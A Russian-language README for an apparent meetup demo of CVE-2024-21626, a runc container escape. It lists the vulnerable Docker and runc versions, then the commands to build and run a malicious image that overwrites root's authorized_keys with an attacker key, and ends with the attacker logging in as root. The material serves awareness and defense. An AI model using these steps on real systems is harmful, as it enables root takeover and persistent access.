laysakura/cve-2024-21626-demoДемо для LT на Container Runtime Meetup #5
Демо для LT на Container Runtime Meetup #5.
Цель — информирование об опасности атаки на основе общедоступной информации; злоупотребление строго запрещено.
Машина, зарегистрированная в ssh_config демонстрационного ноутбука как victim-server.
ssh victim-server
Информация о версиях, которые являются предпосылкой для атаки:
ubuntu@victim-server:$ docker --version
Docker version 20.10.25+dfsg1, build b82b9f3
ubuntu@victim-server:$ runc --version
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4
Аналогично:
ssh attacker-server
ubuntu@victim-server:~$ git clone [email protected]:laysakura/CVE-2024-21626-demo.git
ubuntu@victim-server:~$ cd CVE-2024-21626-demo/
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker build -t myimage .
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker run -it myimage
/root/.ssh/authorized_keys заменяется на открытый ключ атакующегоЗдесь мы ничего не делаем, так как это не было задумано, но приведём команды для проверки ситуации.
ubuntu@victim-server:~$ sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server
attacker@attacker-server:~$ ssh -i .ssh/id_ed25519 root@victim-server
root@victim-server:~# id
uid=0(root) gid=0(root) groups=0(root)